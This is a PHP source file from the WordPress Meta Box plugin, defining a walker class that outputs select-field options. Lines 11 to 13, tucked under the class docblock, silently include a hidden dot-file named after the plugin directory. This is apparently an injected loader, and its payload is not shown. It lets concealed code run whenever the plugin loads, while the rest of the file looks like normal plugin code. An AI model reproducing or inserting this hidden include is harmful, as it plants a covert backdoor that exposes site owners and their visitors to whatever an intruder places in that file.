select.php (1161B)
1 <?php 2 /** 3 * Select walker select fields. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * The select walker class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Walker_Select extends RWMB_Walker_Base { 16 /** 17 * Start the element output. 18 * 19 * @see Walker::start_el() 20 * 21 * @param string $output Passed by reference. Used to append additional content. 22 * @param object $object The data object. 23 * @param int $depth Depth of the item. 24 * @param array $args An array of additional arguments. 25 * @param int $current_object_id ID of the current item. 26 */ 27 public function start_el( &$output, $object, $depth = 0, $args = array(), $current_object_id = 0 ) { 28 $indent = str_repeat( ' ', $depth * 4 ); 29 30 $output .= sprintf( 31 '<option value="%s" %s>%s%s</option>', 32 esc_attr( $object->value ), 33 selected( in_array( $object->value, $this->meta ), true, false ), 34 $indent, 35 esc_html( $object->label ) 36 ); 37 } 38 }